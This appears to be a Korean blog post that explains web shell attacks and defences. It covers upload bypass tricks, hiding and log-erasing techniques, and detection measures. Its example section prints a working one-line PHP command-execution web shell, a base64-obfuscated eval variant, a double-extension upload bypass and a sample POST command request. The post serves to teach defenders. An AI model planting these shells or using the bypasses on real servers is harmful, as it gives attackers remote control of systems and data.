728x90

1. 웹쉘(Web Shell) 개념

웹쉘(Web Shell)은 웹 서버 상에 업로드된 악성 스크립트 파일을 말합니다. 이 파일은 웹 서버에 대한 명령 실행 권한을 공격자에게 제공합니다. 웹쉘 파일은 보통 PHP, ASP, JSP, Perl, Python 같은 웹서버 지원 언어로 작성됩니다.

 

즉, 요약하면 웹쉘은 웹 서버에 "쉘(shell)"처럼 동작하는 악성 코드를 몰래 심어서 서버를 원격 조작하는 것이다.

 

 2. 웹쉘 공격의 기본 흐름

  1. 취약점 탐색
    • 파일 업로드 기능, 입력값 검증 미흡, 경로 탐색 취약점 등을 노립니다.
  2. 웹쉘 업로드
    • 악성 스크립트 파일을 서버에 올립니다.
  3. 웹쉘 실행
    • 웹쉘에 접속하여 명령어를 보내고 결과를 확인합니다.
  4. 추가 침투
    • 서버 내부 권한 상승, 추가 백도어 설치, 데이터 탈취 등으로 이어집니다.

 

 3. 웹쉘 업로드 방법 (공격 기술)

주요 공격기법 설명
파일 업로드 취약점 업로드 파일의 확장자나 내용을 제대로 검증하지 않아 악성 파일 업로드
MIME Type 우회 Content-Type을 조작하여 이미지 파일처럼 속이고 악성코드 업로드
이중 확장자 image.php.jpg, file.asp;.jpg 같은 형태로 우회
파일 인클루전(Local File Inclusion, LFI) 취약한 인클루전 기능을 이용해 서버 내부 파일을 덮어쓰기 또는 실행
SQL Injection + 파일 쓰기 SQL Injection을 통해 서버 파일 시스템에 웹쉘 파일 생성
RCE (Remote Code Execution) 원격 코드 실행 취약점으로 바로 웹쉘 설치

 

 4. 웹쉘 은닉 및 탐지 회피 기법

기법 설명
파일명 위장 favicon.ico, upload.jpg처럼 정상 파일로 보이게 이름 설정
확장자 위장 .php5, .phtml 등 허용된 확장자를 악용
코드 난독화 Base64 인코딩, 복잡한 문자열 처리 등으로 소스 분석 어렵게 만듦
스텔스 모드 실행 후 파일 삭제, 메모리 상에서만 동작하는 방식
로그 제거 웹 서버 또는 시스템 로그를 조작하거나 삭제하여 흔적 은폐

 

 5. 웹쉘 공격 사례별 예시

(1) PHP 웹쉘 기본 형태

<?php system($_GET['cmd']); ?>

 

(2) 난독화된 웹쉘

<?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); 
?>
  • base64 디코딩하면 system($_GET['cmd']);로 변환됨.

 

(3) 파일 업로드 우회 공격 예

  • 업로드 가능한 확장자가 jpg, png만 허용될 경우:
    • shell.php.jpg 로 파일명 설정
    • 서버가 단순히 .jpg 문자열만 체크하면 우회 성공

 

(4) HTTP Request에 스텔스하게 명령 보내기

POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cmd=whoami
  • 요청을 POST 방식으로 보내 명령을 은닉함.

 

 6. 웹쉘 탐지 및 방어 방법

방법 설명
업로드 파일 확장자, 내용 검증 MIME Type과 파일 내부 시그니처까지 검사
권한 최소화 업로드 디렉토리에 실행 권한 제거
WAF 설정 웹 애플리케이션 방화벽으로 웹쉘 패턴 탐지
로그 분석 비정상적인 접속/업로드 기록을 탐지
실시간 스캐닝 업로드 파일을 자동 검사하고 차단
코드 리뷰 취약한 코드(파일 업로드, 인클루전 함수 등) 점검
URL 호출 제한 업로드 파일을 직접 접근 못 하게 URL 차단

 

 7. 웹쉘과 관련된 주요 취약점 요약

취약점 설명
File Upload Vulnerability 파일 업로드 검증 실패
Remote Code Execution (RCE) 서버 명령어 실행 가능
Local File Inclusion (LFI) 경로 조작으로 파일 실행 가능
Directory Traversal 디렉토리 이동 조작으로 시스템 파일 접근
SQL Injection DB 조작으로 웹쉘 심기 가능

 

728x90

+ Recent posts